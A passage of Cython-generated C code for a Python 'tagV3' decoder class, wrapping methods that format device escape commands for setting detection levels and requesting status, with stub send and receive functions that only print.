0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("setBOXLevel", 1, 2, 2, 1); __PYX_ERR(0, 449, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "setBOXLevel") < 0)) __PYX_ERR(0, 449, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("setBOXLevel", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 449, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.setBOXLevel", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_26setBOXLevel(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_26setBOXLevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("setBOXLevel", 0); /* "tagV3.py":452 * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] * self.sendCmd( self.cmd['Set BOX Level']% ( cfg ) ) # <<<<<<<<<<<<<< * # response: none * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_kp_u_Set_BOX_Level); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Remainder(__pyx_t_4, __pyx_v_cfg); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":449 * # response: none * # * def setBOXLevel( self, cfg ): # <<<<<<<<<<<<<< * # Set Detection level on BOX channel * # command: ESC + 0x1f + [SETLEVEL] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.setBOXLevel", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":455 * # response: none * # * def statBXX( self, cfg ): # <<<<<<<<<<<<<< * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_29statBXX(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_29statBXX = {"statBXX", (PyCFunction)__pyx_pw_5tagV3_7decoder_29statBXX, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_29statBXX(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_cfg = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("statBXX (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_cfg,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_cfg)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("statBXX", 1, 2, 2, 1); __PYX_ERR(0, 455, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "statBXX") < 0)) __PYX_ERR(0, 455, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_cfg = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("statBXX", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 455, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.statBXX", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_28statBXX(__pyx_self, __pyx_v_self, __pyx_v_cfg); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_28statBXX(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_cfg) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("statBXX", 0); /* "tagV3.py":458 * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] * self.sendCmd( self.cmd['Stat BXX']%( cfg )) # <<<<<<<<<<<<<< * # response: (TBC) * # */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_kp_u_Stat_BXX); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyNumber_Remainder(__pyx_t_4, __pyx_v_cfg); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":455 * # response: none * # * def statBXX( self, cfg ): # <<<<<<<<<<<<<< * # Request status on remote decoder with id specified in B * # command: ESC + 0x49 + [B] */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.statBXX", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":461 * # response: (TBC) * # * def bXXLevel( self ): # <<<<<<<<<<<<<< * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_31bXXLevel(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_31bXXLevel = {"bXXLevel", (PyCFunction)__pyx_pw_5tagV3_7decoder_31bXXLevel, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_31bXXLevel(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("bXXLevel (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_30bXXLevel(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_30bXXLevel(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("bXXLevel", 0); /* "tagV3.py":464 * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b * self.sendCmd( self.cmd['BXX Level'] ) # <<<<<<<<<<<<<< * # response: none * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_kp_u_BXX_Level); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "tagV3.py":461 * # response: (TBC) * # * def bXXLevel( self ): # <<<<<<<<<<<<<< * # Increment all detection levels by 0x10 (Note 2) * # command: ESC + 0x4e + 0x2b */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("tagV3.decoder.bXXLevel", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":467 * # response: none * * def sendCmd( self, command): # <<<<<<<<<<<<<< * print( command ) * */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_33sendCmd(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_33sendCmd = {"sendCmd", (PyCFunction)__pyx_pw_5tagV3_7decoder_33sendCmd, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_33sendCmd(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { CYTHON_UNUSED PyObject *__pyx_v_self = 0; PyObject *__pyx_v_command = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("sendCmd (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_command,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_command)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("sendCmd", 1, 2, 2, 1); __PYX_ERR(0, 467, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "sendCmd") < 0)) __PYX_ERR(0, 467, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_command = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("sendCmd", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 467, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.sendCmd", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_32sendCmd(__pyx_self, __pyx_v_self, __pyx_v_command); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_32sendCmd(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_command) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; __Pyx_RefNannySetupContext("sendCmd", 0); /* "tagV3.py":468 * * def sendCmd( self, command): * print( command ) # <<<<<<<<<<<<<< * * def receiveResponse( self, timeout = 0 ): */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_command); __Pyx_GIVEREF(__pyx_v_command); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_command); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":467 * # response: none * * def sendCmd( self, command): # <<<<<<<<<<<<<< * print( command ) * */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_AddTraceback("tagV3.decoder.sendCmd", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":470 * print( command ) * * def receiveResponse( self, timeout = 0 ): # <<<<<<<<<<<<<< * print( timeout ) * return '' */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_35receiveResponse(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_35receiveResponse = {"receiveResponse", (PyCFunction)__pyx_pw_5tagV3_7decoder_35receiveResponse, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_35receiveResponse(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { CYTHON_UNUSED PyObject *__pyx_v_self = 0; PyObject *__pyx_v_timeout = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("receiveResponse (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_timeout,0}; PyObject* values[2] = {0,0}; values[1] = ((PyObject *)((PyObject *)__pyx_int_0)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_timeout); if (value) { values[1] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "receiveResponse") < 0)) __PYX_ERR(0, 470, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_timeout = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("receiveResponse", 0, 1, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 470, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("tagV3.decoder.receiveResponse", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5tagV3_7decoder_34receiveResponse(__pyx_self, __pyx_v_self, __pyx_v_timeout); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_34receiveResponse(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_timeout) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; __Pyx_RefNannySetupContext("receiveResponse", 0); /* "tagV3.py":471 * * def receiveResponse( self, timeout = 0 ): * print( timeout ) # <<<<<<<<<<<<<< * return '' */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_timeout); __Pyx_GIVEREF(__pyx_v_timeout); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_timeout); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 471, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "tagV3.py":472 * def receiveResponse( self, timeout = 0 ): * print( timeout ) * return '' # <<<<<<<<<<<<<< */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_kp_u_); __pyx_r = __pyx_kp_u_; goto __pyx_L0; /* "tagV3.py":470 * print( command ) * * def receiveResponse( self, timeout = 0 ): # <<<<<<<<<<<<<< * print( timeout ) * return '' */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_AddTraceback("tagV3.decoder.receiveResponse", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef 